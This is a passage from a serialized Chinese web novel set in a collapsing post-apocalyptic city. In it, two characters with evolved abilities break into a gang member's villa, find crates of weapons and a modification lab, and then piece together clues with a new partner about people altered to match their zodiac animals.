那男子走到林萤边上,似乎抖了一下,而后目不转睛与林萤二人擦肩而过,带着一股类似海盐的香水味。 林萤转过头,又看了那人一眼,而后才与原初开始寻找刚才那幢别墅的车库。 原初突然道:“刚才那人,好像很奇怪。” 林萤思索片刻,“我也觉得,本来想给你说,但具体又是说不上到底哪里怪……” 原初顿了顿,而后道:“第一是比例奇怪,他的腿过分短,腰又过分长,比起人,看上去更像是猴子猩猩一类的生物,第二是它的小腿过于无力,走起路来软塌塌的,脚腕看上去像是折了。” 林萤想了想,发现确实如原初所说,那个人的比例不太协调,不过她倒是没有怎么注意对方的脚,想到这里林萤回过头去,还想再看一眼,那人却早已消失在了车库。 林萤没有将这个插曲放在心上,她转过头来回打量这个又明亮又干净的、仿佛酒店大厅一样的地下车库,虽说头顶的灯很亮,车库里路也宽,可林萤自己反倒像进了迷宫,一时不知该往那边走。 她的脚尖先是转向右边,再是朝向左边, 而后又不确定地转了回来,在原地站定,看向原初,“走哪边来着?” 原初道:“他们似乎是C39栋?” 林萤点点头,“是。”而后又道:“我怎么觉得咱们出现在这里会被抓的更快?” 原初抬头看了看,“不会,这边的摄像头数量比地面少,只在几个路口的交汇处有,我们注意避开就是。” 林萤感叹道:“好吧,难怪那些小偷事先都会踩点,不踩点真的很容易迷路啊!” 两人在车库里七拐八拐,片刻后,终于找到了C39的电梯,电梯门可以打开,却因为没有卡所以无法使用。 林萤站在一边,冲原初使了使眼色,“上吧,原医生。” 原初两手一摊,“恐怕要让你失望了,这个我打不开,我们得等等看看有没有人下来。” 林萤道:“男朋友,你已经大大超出我的预期了,我又怎么可能对你失望呢?” 干站着太显眼,两人找到斜前方角落里一辆落满了灰尘的车,从那边正好能看到电梯,林萤打开车门,两个人直接坐了进去。 片刻后,地下车库安静下来,感应灯一一熄灭,整个车库的灯光昏暗下来。 林萤看了眼时间,“快半个小时了……” 正在这时,她的手机突然跳出来一条新信息,一看来人,林萤忙点开查看。 林祐均:林萤,你回来了吗? 林萤:还没有,我还在青檀。你们有杜煦的消息了吗? 那边停顿了片刻,而后回复道:很遗憾,暂时还没有杜煦的消息,而且我们派出去的人也即将归队。 !!! 林萤急了:不是说一定会找到吗,为什么还没找到就要把人撤走? 林祐均:不止青檀,全国乃至全世界的局势都日渐紧张,覆巢之下无完卵,蹊暇起初还能伸出援手帮帮邻居省份,可现在最主要的任务却变成了自保,我们……不得不这样做。内忧外患,希望你能理解。 林萤的手指飞快地打字:我当然能理解,可是,可是……失踪的时间越长,杜煦就越危险,现在放弃,就等于直接宣判了杜煦的死亡,难道不是吗? 林祐均:并不是所有人都会撤离,还有一个进化者会留下来继续完成这个任务,但只有她一人,进程会慢一些。 林萤:不是进化了就能无敌,一个人的能力是有限的,我在青檀这边,他们的势力错综复杂,人员基本上也配备有武器,进化者并不能应对热武器,你肯定比我更了解呀!能不能多留几个人呢? 林祐均没有直接回答她的问题,而是道:还有一个方法,只不过需要你的同意。 林萤:是什么? 林祐均:如果你愿意,我可以暂时将你的资料录入我们外勤分队,你就可以算作我们的临时队员,我会将我们寻找杜煦的内部资料传输给你,再让我们的进化者联系你,你和她可以联手寻找杜煦。这是我目前能想到的最优方法,你意下如何? 79. 继续向前奔跑吧 林萤想了想,问:你们的队员什么时候离开青檀? 林祐均:今晚。 林萤:离开前我能见他们一面吗?有事拜托他们。发送完毕,林萤又补上一句话:关于你刚才的提议,我愿意。 那边回复了一个“好”字,接着发过来一张名片和几个视频。 林萤正要点开查看,一旁的原初突然扯了扯她的袖子,指了指车前方的电梯,就见原本老老实实停在负二层的电梯开始向上行走。 ——有人下来了! 来不及多想,林萤看了一眼时间,二十点二十分,她将手机放回兜里,虽然知道那人大概看不见车里的情况,但她还是和原初一起猫着身子躲在椅背后面,只露出半个眼睛。 电梯上到一楼,然后停顿了两分钟,接着又开始向下行走,直接来到了负二层。 林萤的眼睛紧紧盯着电梯的门,“叮——”一声,门向两边开去,里面的人缓缓走了出来。那是一个微微发胖的中年妇女,她的左手上拿着几个揉成团的塑料袋,小拇指上勾着一个车钥匙,右手拿着一张卡正要将卡揣进兜里。她穿着简朴,脸色红润,发丝一缕一缕贴在额上,身上有一股油烟的味道。 不用说,应当是做饭阿姨。 阿姨径直从林萤乘坐的小车前走过,却突然听到一声口哨,她下意识看过去,下一秒便对上一双透亮的眼,她一失神,将手上的卡扔在了地上,而后若无其事地开着车,扬长而去。 一个轻快的步伐走到掉落的卡旁边,而后将它捡起。 林萤转过头冲原初眨眨眼,扬了扬手中的卡,“搞定!” 两人直接到了一楼,刚出电梯门,一个刻薄的声音便在屋内响起,“沈阿姨,你这个老糊涂又忘了拿什么?” 那是一个男人,正坐在餐桌前,左手举着手机正在翻看短视频,右手持着筷子,正在享用一碗满是红油的螺蛳粉,他的面前还摆着几盘下酒菜和一杯红酒。 男人等了等,没有等到沈阿姨的回答,只听到逐渐靠近的脚步声,他下意识回过头,迎面而来的是一个带着疾风的手刀,还没来得及看清对面那人的长相,他便瘫倒在了餐桌上,那满是红油的螺蛳粉也撒在了桌面上。 林萤忙扶起碗,对原初道:“这个人我们今天见过,是走廊里那个说话的医生,我记得他好像姓……” 原初补充道:“姓徐,被吴听放了追踪器的徐晋先应该就是他。” 林萤在对方的衣角摸了摸,果然摸到了一个“铅芯”。 徐晋先约莫三十来岁,长得又高又瘦,一张马脸,短粗眉眯缝眼,鹰钩鼻,嘴唇却很厚,要是睁开眼睛定是个精明无比的人,此时被打晕了,看上去倒有几分憨厚。 原初弯下腰在餐桌的纸盒里抽了几张卫生纸,铺在桌面,止住了不断往下滴的汤汤水水,而后直起身迈开步子,想要打量一下眼前这个巨大的空间。 林萤悄声道:“等一下。” 说着,她拾起桌面上扔在播放音乐的手机,退出了当前页面,接着转头朝原初眨眨眼。一息后,原初也拿出了自己的手机,他默默将镜头对准了徐晋先的手机,就见林萤二话不说,先是打开对方的通讯录,原初将常联系的几个人拍了下来,而后林萤又打开社交软件,接着是相册…… 两人就像多年的老友,配合默契,不到五分钟,便将这人的手机翻了个遍。如他们预料的那样,这个人的确是徐晋先,而他的能力不是别的——是精神控制。 林萤查到这里,手抖了抖,当初给吴阿姨下禁制,导致吴阿姨直接死亡的凶手就是他! 原初道:“难怪他敢一个人守着这里,能住在刘三针的新家,想必是刘三针的心腹。” 不仅如此,林萤还从刚才的查看中得知一善门分为两派,这两派分别以邓汐和徐晋先为首,两派像是有竞争关系,互相看不上也互不服气,林萤在属于徐晋先这一派的聊天群里看到不少对邓汐的诋毁,想必邓汐那边也是同样的情况。好在群里人数不多,只有十来人,林萤算了算,加上邓汐那边,一善门总人数差不多也就三十人,是一个中型势力。 与此同时,林萤在徐晋先的相册里看到了羊角女孩的视频,是非常令人不适的那种,不仅如此,林萤还发现徐晋先将这些视频发送给了不少人,语气猥琐又带着炫耀。 林萤气不过,恨不得将这个看着就昂贵的手机泡进一旁残余了半碗的螺蛳粉汤里,然而想了想,她还是忍住了,不过,她又在徐晋先的脖侧补了两手刀,这两下带着泄愤,打的昏睡中的徐晋先惨叫一声。 紧接着,林萤的手指在徐晋先的脑袋上点了点,定好位置,两指用力,将他体内的进化核挖了出来。 昏睡中的徐晋先大叫一声,剧烈的疼痛将他唤醒,他下意识捂住头想要看向林萤二人,还未看到,又被一手刀劈晕了过去。 林萤道:“进化不是用来伤害同类的,连那些据说没有智慧的动物都明白。” 说罢,她转过身看向原初,将手中还带着血的进化核递了过去,问道:“你要吗?” 原初摇摇头,林萤也不勉强,她将进化核拿在手中直接碾碎吸收。她闭着眼睛稍微感受了一下,思维和精神力有没有提升她自己也不清楚,不过,疲惫感似乎少了一些。 睁开眼,林萤正对上原初的目光,她缓缓道:“我在不知道进化核还能吸收时,被动地吸收了很多人的进化核,不过那个时候我是为了救人。这好像还是我第一次主动吸收人类的进化核……” 原初道:“变强大,就能救更多的人,林萤,既然做出了选择,就不要有心理负担,继续向前奔跑吧!” 林萤看向原初,郑重地点了点头。 而后,两人将餐桌简单收拾了一下,又将昏迷的徐晋先抱到客厅的沙发上,给他简单地止了血,将他摆成熟睡着的模样,以免等下有人回来第一时间就发现家里进了别人。 < p>做完这些,两个人才腾出手,打量此处的环境。 这里占地面积大约三百平,一进门是个开放式的西式厨房,厨房旁边是餐厅,餐厅的对面是一个中式厨房,里面环套着一个储物间和小小的保姆间。厨房边上是别墅的内置电梯,顺着厨房和餐厅中间的走廊向里走,下沉式的客厅,4米高的挑空,经典的蝴蝶水晶盘旋吊灯闪烁着点点亮光,室内装扮称得上豪华,地面砖和墙砖却有种古早风,显然只买了家具,没有改硬装。 林萤四下查看,重点观察了一下房间里的电子设备。刘三针应当是刚搬来住了几天,有一些家具还包着塑料边,没有监控,甚至连网线都没来得及拉——这倒是个意外之喜。 将一楼看了个遍,林萤并没有看到什么特别的,想来关键的东西也不会在这边。 “我们去二楼。” ——应当再去看看刘三针的旧宅,抱着这样的想法,林萤和原初走楼梯上了二楼。 二楼的户型和一楼基本相同,只是少了客厅的位置,靠近边缘的地方挡着一个半人高的透明护栏,从这里向下看去,可以将客厅的情况尽收眼底。 两个厨房的上面是一大一小两间卧室,大的那间门关着,小的那间里面放着一张床,床上放着一个还没有撕去保护膜的床垫,没有被子和枕头,显然还没有使用。床边两个床头柜,柜子旁边的插座上倒是插着充电器,像是有人短暂地来这里充过电。 而餐厅的正上方是一片空地,中央摆放着一个书桌,靠墙的一面有一个书架,上面一本书都没有,却放着几个色泽淡雅的瓷器,看样子是想将这里打造成区——这个刘三针还挺会生活。 林萤二人转了一圈,然后来到了大房间的门口,确认里面没人,林萤使劲推了推门,又扭动了一下门把手,门是关着的。 原初上前一步,掏出钥匙,不多时,便将门打开了。借着外面的灯光,两人在这里看到了满地的箱子。 箱子是木头材质,全部是密封的,里面装了什么不得而知。虽然这些箱子有长有短大小不同,提上去重量也不一样,但上面贴着的封口却是相同的,应当是同一批东西。 林萤敲了敲离自己较近的一个箱子,将耳朵凑近听了听,什么响动都没有。于是她绕过这些箱子,来到了房间里侧,这里有一个洗手间,洗手间旁边是个小阳台。阳台原本应该是露天的,刘三针将它封住了,新刷的墙面有一股浓重的漆味,最里侧的墙角摆着一个马凳和几桶空荡荡的油漆桶。 林萤又重新回到了房间,原初看着满地的木箱建议道:“打开一个看看?” 林萤没有异议,两人挑了一个看上去就中规中矩的箱子,将外面一层木板打开,里面像俄罗斯套娃一样,还套着一个小一些箱子,这个箱子材质像是硬塑料,还在外头配了把锁。原初花了几分钟撬开锁,“吱呀——”一声缓缓打开箱子。 看到里面的东西,两个人顿时倒吸一口凉气。 80. 通通拿走 ——里面竟是一把武器。 如此说来……林萤环顾了一下四周,木质箱子一个接一个,莫约有十几种,还有几个箱子个头特别大,单凭林萤两个人想要全拿走几乎不可能。 不过,既然已经看见了就不能错过。本着这样的想法,林萤打开手机,联系了一下方才林祐均推给她的那个人,对方的头像是个歪着眼流口水的红衣粉猪,看上去比靠谱多了一个“不”字。 林萤的好友申请很快被通过,随后她直接给对方去了电话,那边是个女生,林萤开门见山,告知了对方此处的地址,让他们一起来搬家伙。 等待的间隙林萤也没闲着,她先去三楼查看了一圈,三楼的格局和二楼相似,整层的灯都被摘掉了,似乎是为了换上新的灯具,新床床垫未拆,卫生间也没有使用过的痕迹,除此之外,林萤还看到了不少打包放好的衣物。 林萤道:“我总觉得咱们似乎忽略了什么重要的地方……” 原初一愣,“什么?” 林萤思索片刻,摆了摆手,“我也想不出来,算了,暂时先不想了,等不想的时候说不定突然就冒出来了。” 原初笑道:“听起来很有经验……” 紧接着,林萤和原初又返回二层,他们将地上的木箱全部都打开,里面并不全是武器,还有弹药。林萤从里面挑出四件较为轻巧的枪支,给了原初一把,又给自己腰间别了一把,另外两把她打算送给马西梅和马浩哲姑侄。 马浩哲没有进化,需要一个武器傍身,而马西梅与一善门积怨已深,难免没有冲突,有了武器,也就有了话语权,有助于马西梅和她身后的势力在青檀站稳脚跟。 待全部收拾完毕,一楼突然响起门铃声,林萤接通门铃,站在一边并没有说话。 对面似乎是物业的人,询问道:“业主您好,外面有一辆车说是给您送货的。” 林萤看了一眼原初,对方压低声音道:“对。” “好的,那我就放行了!再见。” 随着通话中断,林萤和原初装好武器,又拿上门禁卡,坐电梯来到负二层。 刚一出电梯,林萤拍了拍脑袋道:“我知道咱们忽略什么了,我们是从负二层直接到一楼的,那么肯定还有个负一层,我们没去负一层!” 原初却似乎并不惊讶,他道:“是啊,我刚才还想提醒你这里的别墅都有地下室,我以为你想放到最后查看。” 林萤道:“原来你早就知道啊,那你怎么……” 对上原初颇为无辜的眼神,林萤的话拐了一个弯,“那你知道地下室怎么下去吗?电梯没有负一层的按钮,我也没看到楼梯。” 原初摇摇头,“入口应该就在一层,等会去找找。” 话音刚落,就见一辆车挂着青檀车牌的七座面包车缓缓驶来,径直在林萤前侧停下。 开车的是个短发女子,大约三十六七岁,左耳上带着一枚钻石耳钉,她按下车窗,对林萤说:“车,我有。” 林萤对暗号,“货,我有。” 车门打开,从里面下来了一男两女三个人,开车的短发女子走在最前方,她后面的男女看上去都很年轻。 林萤问道:“您就是‘粉色吹风机’?” 短发女子笑着摇摇头,道:“我是此次行动的领队,我姓赵。” 林萤伸出手,“赵领队,您好!” 赵领队回握林萤,从她身后探出一个染着玫粉色头发的卷发女生,她冲林萤挥了挥手,“是我,我是粉色吹风机,本名朱佩佩,你就是林指导说的林萤吧?” 林萤点点头,“对,我是。” 朱佩佩道:“接下来寻找杜煦的任务将由我们两人完成,希望我们合作愉快,早日完成任务!” 林萤友好地冲对方笑笑。 短发女子道:“时间紧迫,不如就省去寒暄,先将东西搬上车。” “嗯,正事要紧!” 林萤和原初带领众人直接上到二楼,又给朱佩佩挑了一把趁手的枪,这才将剩下的家伙全搬去了车上。 在此期间林萤又给唐诗和马西梅分别去了电话,她先是向唐诗描述了一下淼淼目前的情况,想知道她这种情况还能不能治疗,唐诗没有给出肯定答案,只说得面对面看一看病人才能判断。而马西梅那边联系了淼淼的父母,对方说已经给淼淼找了一家医院,想先住一段时间,没有好转的话再考虑转去蹊暇。 此事暂时告一段落,林萤原初和朱佩佩将其余人送走,没错,朱佩佩留了下来,用她的话说就是她需要熟悉一下新搭档的行事方法,两个人磨合磨合,以便更好地沟通。 林萤没有拒绝,毕竟朱佩佩进化的是记忆力,能过目不忘,对每一张脸每一条路线,只要是见过,便都能烂熟于心,大概也是因为这个原因她才会被派来寻找杜煦,也正是因为她进化的是记忆,所以比起林萤来,她的身体稍微有些孱弱,林萤不放心让她一个人留在青檀。 待送走装有武器的面包车后,林萤三人又折返回别墅,这次,他们直接来到一楼,在距离楼梯间比较近的地方找到了地下室的入口。 顺着楼梯走下去,下方是一个上了锁的门。原初正要上手去撬门,林萤拦住了他。 “别急,这像是不锈钢气密门的简陋版,里面有很大概率是个细菌培养室。” “细菌培养室?!”朱佩佩叫起来,“那我们还是别进去了吧,谁知道里面的东西对人体有没有害处。” “我想看看。”林萤趴在门边的玻璃上向里看了看,侧身让开位置,直接让原初把门打开,毕竟里面的东西大多数都被包好堆放在一起,很显然是刚刚搬过来还没有收拾好。 “进吧,没事。” 林萤说完,迈着大步走了进去,里面不仅有瓶瓶罐罐,还有实验楼里失踪的那个大茧——原来它被转移到了这里。 朱佩佩小心翼翼跟着,“呀,那个密封瓶里装的是蜥蜴的尾巴吗……还有那个,好像是个人腿!” ——还真是个人腿,应当是成年男性的,小腿肚上有一个拳头大小伤痕,泡的时间久了,像一朵淡粉色的玫瑰花。 片刻后,林萤回过头看向原初。 原初也在这时开口 ,“看来你说的是对的,一善门确实在拓展业务。” 林萤道:“是啊,进化核的价格应该会随着时间的流逝越来越低,他们想要继续,单靠这一样必然不能长久,所以,他们现在开始研究细菌了。” 原初点头,“难怪邓汐看到大茧时那么兴奋。” 朱佩佩看看林萤又看看原初,“林萤,你们两在说什么?” 林萤简单向她介绍了一下一善门,又将发现淼淼的事情告诉了朱佩佩,既然一善门里出现了寻人启事上的人,那么保不齐还会出现第二个第三个,这些人是从哪里来的,又是什么人将他们送给一善门的,将这些全部搞清楚后,说不定会找到杜煦的线索。 原初这个时候却提醒道:“想知道这些并不难,上面不是还有个人吗,去问问他。” 几人来到楼上,客厅的灯仍旧亮着,沙发上躺着的人却不见了踪影。 林萤和原初对望一眼,眼底皆是震惊。 来不及多说,他们二人默契地寻找起徐晋先,沙发背后、厨房、柜子、卫生间、院子……林萤甚至上到二楼三楼去,却仍旧没有找到徐晋先的身影,就连他的手机也不见了。 朱佩佩也听说了徐晋先的事情,她翻遍了整个厨房后问道:“你们不是说有个做饭阿姨吗,是不是阿姨偷偷把他带走了?” 林萤摇了摇头,“不可能,我的听觉非常敏锐,如果有人出现,我应当能听到对方的动静,而且……”林萤握住手中的卡,“她是从车库走的,电梯的卡还在我这里,要上来必然得费点周折。” 朱佩佩道:“那不然就是这个徐魔头自己溜走了,他趁我们说话,偷偷离开了。” 原初道:“他受了伤,一时半刻应该醒不来,我更倾向于是有人带走了他。” 林萤想起今天在洞底时人面蛾曾悄无声息地趴自己身后,那时,她也无所察觉,就像现在,有人在同一个空间出现又消失,这种接二连三的失控感令林萤脑内的警铃大作——一定有一个和人面蛾一样动起来毫无声响的生物,或许是人,或许不是人,总之,是“他”带走了徐晋先! 莫名地,她想起了在车库里碰到的那个浑身裹得很严实的人。 就在这时,林萤的耳朵听到了一阵微弱的轰鸣声,她没有犹豫,朝原初和朱佩佩招了招手,“事已至此,我们先尽快离开!” 无人反对,原初和朱佩佩跟在林萤的身后,三人直接从地面离开了这所别墅。 一出门,林萤不由分说将朱佩佩背在了身后,她一步三米,大气不喘,背着分量不算轻的朱佩佩如同背了一个没装什么东西的小包,仅仅五个呼吸,便翻出了小区的围墙。 朱佩佩惊魂未定,“这么快,飞一样!” 林萤在原地停顿了两秒,等来原初后,两人找到摩托车,林萤让朱佩佩在后面挤一挤,将就将就,朱佩佩道:“我有车,我有车,单位配的!” 朱佩佩的车也是一辆青檀牌照的面包车,和赵领队的有点像,只不过看上去更旧一些。 于是,一辆面包车在前,摩托车在后,在夜里行驶着。 81. Red 几辆车与他们擦肩而过,背道而驰,对方行驶速度几乎要超过150码,马路边上的积水水幕一般溅起,使得林萤不由得放慢了车速,骑到一边躲避,最终在路边缓缓停下。 “怎么了?”朱佩佩放下车窗问道。 林萤低头看着仪表盘道:“车快没油了。” 朱佩佩打了个响指,“简单,去我那,我那有物资!对了,你晚上也可以睡我那边,既然都是同事了,单位的福利你也有份!” 林萤道:“这么好?” 朱佩佩看着原初,冲林萤挤了挤眼睛,“这位帅哥是你男朋友吧,员工家属也有份!” 于是林萤给马浩哲打去电话,告诉他今晚暂时不回去了,马浩哲虽然有点遗憾,但也表示了理解。 朱佩佩将林萤带到自己居住的地方,这里是一所公寓的一楼,原本是机关家属院,青檀出事后,不少人拖家带口离开了这里,将房子闲置下来,于是研究所就租用了他们的房子。 房间是三室一厅,朱佩佩占了一间,另外两间原本是研究所其余两人的,收到离开的通知后,朱佩佩便将其中一间占领。床上放了一堆零食,像小山似的,薯片、爆米花、自热锅、能量条……看样子能开个小超市。 朱佩佩吐了吐舌头,“别见怪,我不爱吃饭,就爱吃零食,大家都叫我‘零食大总统’!” 林萤道:“名副其实啊!” 朱佩佩道:“所以,你们就睡赵领队之前的房间吧,她那间最大,还带卫浴呢!” 原初看了眼林萤道:“这不太好吧?” 朱佩佩道:“有什么不太好的,你们不是情侣吗,该不会是假扮的吧?” 林萤对朱佩佩道:“那倒不是,主要是他晚上睡觉打呼噜。”说罢,她转过头,迎着原初震惊的眼神道:“亲爱的,就听佩佩的吧,零食大总统拥有一间专门存放零食的房间很正常。” 一番商议,林萤又从堆满了物品的客厅拿了一桶汽油去给车加上,然后返回屋子,简单地吃了些东西,洗漱沐浴,之后,三个人聚在零食房间里,开始对线索。 林萤手中的线索主要集中在“一善门”上面,包括今天晚上在徐晋先手机上拍到的那些,而朱佩佩手中的线索则是他们最近在青檀调查出来的,之前林祐均也给林萤发了一份,但是她还未来得及细看。 朱佩佩说当时他们追着那辆据说是“EVN”的黑车,先是来到蹊暇地界,那辆车被停在了路边,里面空无一人,他们顺着车牌号查找车主,却被告知这个车牌是假的,而车也是一辆半年前就挂失备案了的车。 线索眼看就要断,朱佩佩知道他们是换车了,于是又截取附近出发车辆,最终锁定了两辆车,一辆是白色面包车,一辆是黑色商务车,这两辆车都没有挂牌照,行动轨迹也相同。朱佩佩等人追随着这两辆车来到了青檀市水青路,眼看就要将车拦下,却恰巧遇到两波势力冲突,将车跟丢了。 等朱佩佩他们再次找到那两辆车,则是在废弃车辆回收站里。 “我们尽力了,当我们查到第一辆黑车的时候,它已经到了青檀,而当时我们还在蹊暇打算整队出发,之后的信息包括换车,都是最前端的飞行器传回来的资料。一方面我们不想让对方知道我们在跟踪以免打草惊蛇,另一方面,林指导也是想通过两市之间的交涉来换回失踪的杜煦,但让我们失望的是,青檀这边早就进入了无政府状态,我们只能求助于他们的民间势力——那帮最唯利是图的家伙。” 朱佩佩说到这里,突然叹了一声,“顺便说一句,我们可怜的飞行器也在执行任务的时候被打坏了。” 朱佩佩等人的线索从到青檀开始边断断续续,但是他们敏锐地发现了青檀有许多失踪人口,顺藤摸瓜,倒是也找到了不少有用的信息。 林萤将淼淼的事情简单讲了讲,又将今天下午在教学楼跑到的那四张类似简历的东西给朱佩佩看了看。 岂料,朱佩佩指着其中一张简历,惊呼道:“这个人我见过!” 那是一个叫做车晓尧的男生,剑眉星目,长相周正。朱佩佩也是无意中遇见这个男生的,只不过她见到的这个男生长了一条猴尾。 林萤皱眉,“猴尾?” 朱佩佩笃定地道:“对,就是猴尾!”紧接着,她似乎有些不好意思,挠了挠鼻尖,才缓缓诉说着: “我这个人说好听点是热爱生活,难听点说就是耽于吃喝玩乐,前两天我慕名去了青檀一家很著名的会所“RedBeauty”,中文名叫红女郎,里面有很多表演……当然啊,我是背着赵领队他们去的,不过他们也可能知道……说回RedBeauty”,那里太好玩了,你能想到的项目里面都有,其中有一个保密演出,全程不允许拍摄,里面就有这个车晓尧。” 车晓尧赤着上身,只在脖颈间挂了几条细细长长的链子,链子上点缀着水钻,在舞台的灯光下一闪一闪。他的身材本来就好,加之穿着大胆,一上台就吸引了无数目光和尖叫,更为吸睛的是他的身后——他的尾骨上长了一条长长的猴尾,不但能动,而且还可以像真猴子一样挂在半空中的铁链上。有观众说他的尾巴是假的,车晓尧也不含糊,直接跳下台让那人上手触摸。 朱佩佩道:“我看的真切,那车晓尧的尾巴绝对是如假包换的猴尾巴,像是从他身体里长出来的那样。对了,RedBeauty里的车晓尧用的是艺名,我记得他叫……叫Savage!” “Savage……”林萤重复了一遍,而后道:“看来我们有必要去一趟RedBeauty。” 林萤说完,默了默,又翻到淼淼的“简历”,拿给朱佩佩看,问她有没有见过。 朱佩佩摇摇头,道:“这个女孩我没见过,鱼千淼,名字真好听,长得也好漂亮!” 林萤看着她灵动的双眼,“淼淼——鱼千淼,她头颅两侧被按上了一对山羊角,她从前没有的。” 朱佩佩道:“你的意思是车晓尧的猴尾巴也是后装上去的?” 林萤道:“当然,他 以前肯定是个正常的人,否则十多年前‘猴尾男孩’就在网上传开了,以现在的信息传播速度,他从妈妈肚子里出来的那一刻就上新闻了。” “那倒也是……” 朱佩佩伸出一根手指,将林萤变暗的屏幕点亮,重新打量着手机里的淼淼。林萤也难得静下心来,坐在床边整合接收到的信息。 这时,一直未出声的原初突然开口,他问朱佩佩:“你刚才说,车晓尧有猴尾?” 朱佩佩“啊”了一声,一边点头一边道:“是的,是的。”看上去竟有几分紧张。 “看这里。”原初的手指在鱼千淼的出生年份上点了点,“鱼千淼,生于2003,2003癸未年,十二生肖里,她属羊。”紧接着,他将照片往后翻了一页,“车晓尧,出生年份是?2004甲申年,属猴。” 林萤很快便理解了他的意思,“你是说,他们被改造并不是随机的,而是跟自己的生肖有关系?” 原初道:“嗯,不过也许只是个巧合,但如果我们能找到纸上的其他两个人……”白皙的手指向后滑了两下“白方”、“赵毅千”,手指离开屏幕,“如果这两人的改造也是按照生肖来,那么我的猜测就有可能。” 朱佩佩道:“那他们万一骗那些人呢,包括姓名出生年月什么的……”她忍不住又看了一眼原初,说话声音越来越小。 原初道:“这个很简单,对方有精神控制类的进化者,问出这些基本信息不难。不过比起这点,我更倾向于那些人在抓他们前早就做了背调,对他们的信息了如指掌,也就是说,对方并不是在盲目地抓人。” 林萤道:“这点我赞同,不过那个赵毅千是个另外,他应当不在规则之中。” 原初想了想道:“嗯,他似乎长得有些......其余几个都是精挑细选。” 朱佩佩道:“我也同意,都是又年轻又漂亮的高质量人类啊!不像我这样胖胖的……” 林萤闻言,捏了一把朱佩佩的胳膊,“那里胖,明明就是正好,我胳膊上的肉比你的多多了。” 两人玩闹了一小会儿,林萤才端坐好,道:“我们明天的主要任务有三个,第一个是回到今晚的别墅,不用进去,只看看对方多了什么布置;第二是’去一趟RedBeauty,见见车晓尧;再是去找邓汐,看看人面蛾有没有被抓住。” 说道这里,她又看向原初:“对了,还需要找马浩哲一趟,把今天拿到的家伙给他和姑姑,顺便再把我们的东西拿回来。” 朱佩佩道:“去RedBeauty不用着急,他们晚上八点才开门。” 原初补充道:“时间充足的话,可以去吴听那一趟,说不定她知道徐晋先的行动轨迹。” “对啊!”林萤一拍脑袋,“我怎么把这个给忘了,多亏有你!”说着,她激动地握住了原初的手,引得原初整个人都粉了起来。 朱佩佩见状,将林萤推向了卧室,“也不早了,你们快去睡吧,关上门恋爱,别在这里虐狗了!” 82. 一善门背后的势力 卧室里的气氛有些尴尬。 林萤一直在低着头看手机,原初则是坐在床边,双手平放在大腿面上。方才他要睡地板的提议被林萤果断否决后,便有些不知所措,他摸到一边的遥控器,拿在手上,将上面的键位都快背熟了。 这时,林萤突然道:“原医生?” “啊?”原初忙从床边站起,手一滑,遥控器差点掉下去,他忙一捞,却又误触开关键,“滴——”一声,将空调打开了。 林萤惊讶地问道:“你很热?” 原初忙道:“是的,有点。” 林萤狐疑地指了指遥控器上的数字,道:“屋里17度,你开26度。” 原初将额前的碎发撩起,“也不是热,是有点闷……对了,你叫我什么事?” 林萤抬眼扫了扫他光洁的额头,问道:“你还记得第一次听说‘羊角女孩’是什么时候吗?” 原初道:“当然记得,两天前的夜晚我们从吴听的妈妈吴阿姨口中第一次听说了羊女的事情,接着就是那个玩具车里的纸条,上面也写了羊女。” 林萤点点头,“吴阿姨当时是这么描述的……” ——一个停在路边的货车引起了我的注意……我将篷布掀了一个角……车里是个大铁笼,笼子里面关着一团小小的东西……那是一个昏迷的女孩……女孩居然长了一对山羊角!绝对不是什么道具啊发饰啊之类的,那是货真价实的羊角……那孩子就像是人和羊杂交出来的一样…… 林萤继续道:“我们都倾向于吴阿姨真的见过羊角女孩,后来的事情也证明我们的判断是正确的,吴阿姨的确见过淼淼,而且是在淼淼刚被运到一善门的时候,当时应该是深夜,车就停在路边,那时的淼淼已经有了羊角。” 原初的眼睛微微眯了眯,纤长的睫毛在他的眼尾画上一道微微上挑的暗影,“你的意思是,一善门虽然与人体改造有关,但并没有直接参与。” 林萤点点头,“对,我刚才一直在思索这个问题,一善门的发家史就不多说了,试想一下,你是一个普通人,突然获得了一大笔财富,你要做的第一件事情是什么?” 原初已经领会到林萤的意思了,他笑了笑,道:“总不能是到处嚷嚷自己获得了这笔钱,现在这个时代不适合衣锦还乡,更适合闷声发大财。” 林萤点点头,“对,正常人都知道财不外露的道理,刘三针不可能不懂。一枚进化核,将一个诊所医生送上了亿万富翁的位置,连路边的狗都知道了这件事情,未免没有炒作的嫌疑……” 林萤继续道:“所以,我猜测有人利用了天价进化核的热度,告诉我们进化核不但可以用来买卖,还能移植到人的身体里,让这个人获得他本不具有的能力。从此以后,没有进化的人也有了进化的希望,而进化过的人则要担心自己的进化核被抢走,所以不得不背靠各大势力。” 林萤想起自己拍卖出去的那枚进化核,在介绍时,主持人特意告诉观众这枚进化核的原主人还活着。也就是说,在他们卖出那颗进化核前,所有被取了进化核的人都难逃死亡。 原初补充道:“而且一善门的发展速度有些太快了,以前就有这种感觉,今晚看到满地的武器时,这种感觉更加强烈。一个兴起不到半个月的势力,便能买得到热武器,而且还是数量巨大的武器,仅凭有钱是做不到的,有且只有一个原因……” 两人对望,异口同声,“它的背后有人。” 说到这里,原初拿出自己的手机,打开相册,里面全是徐晋先手机里的内容。这次时间充裕,两个人看得仔细了些。 徐晋先与一个叫做“小赵”的人最近常有往来,这个“小赵”的头像是一个八爪鱼,对话里全是徐晋先单方面的吩咐,小赵则是他命令的执行人。 两人的最后一条信息是他发给小赵的:忘记牵羊了,你去顺便把那只羊给我牵过来。 发信时间是晚上八点二十分,那个时候,林萤和原初即将拿到电梯卡,也就是说,他是在发了这条信息后,转而去看视频软件的。 除了与这个小赵交流比较多,徐晋先的发言大多在一个叫做“拔山举鼎”的群里和另外一个“一善门交流群”,他在前一个群里言辞恭敬,态度谦和,与在一善门交流群里判若两人。要知道,后面的聊天群里,他像个老大一样吆五喝六,颇有目中无人的架势。 林萤猜测,“拔山举鼎”就是一善门背后的势力。不过,翻遍手机,也找不到这个“拔山举鼎”的具体信息。 “……‘拔山举鼎’,九鼎阁,你说,这两个有没有联系?”林萤抬起头,看向原初。 “有可能,对方之前办了进化核的拍卖会,算是给买卖进化核加了一把力。” 除此之外,他们还在徐晋先的相册里看到许多人和动物身体的特写,林萤对此评价道,这是一个非常猎奇的人。 夜已深,尽管雨已经不下了,但厚厚的云层仍然堆积在半空,将月亮和暗星的光芒遮得严严实实,半点穿不透。青檀已经很少有如此漆黑的夜了。 一个漆黑的影子掠过低垂的招牌,飞过写着“建设美丽青檀”的宣传栏,又一跃而下,将一只在草地上觅食的野狗吞进了嘴里。 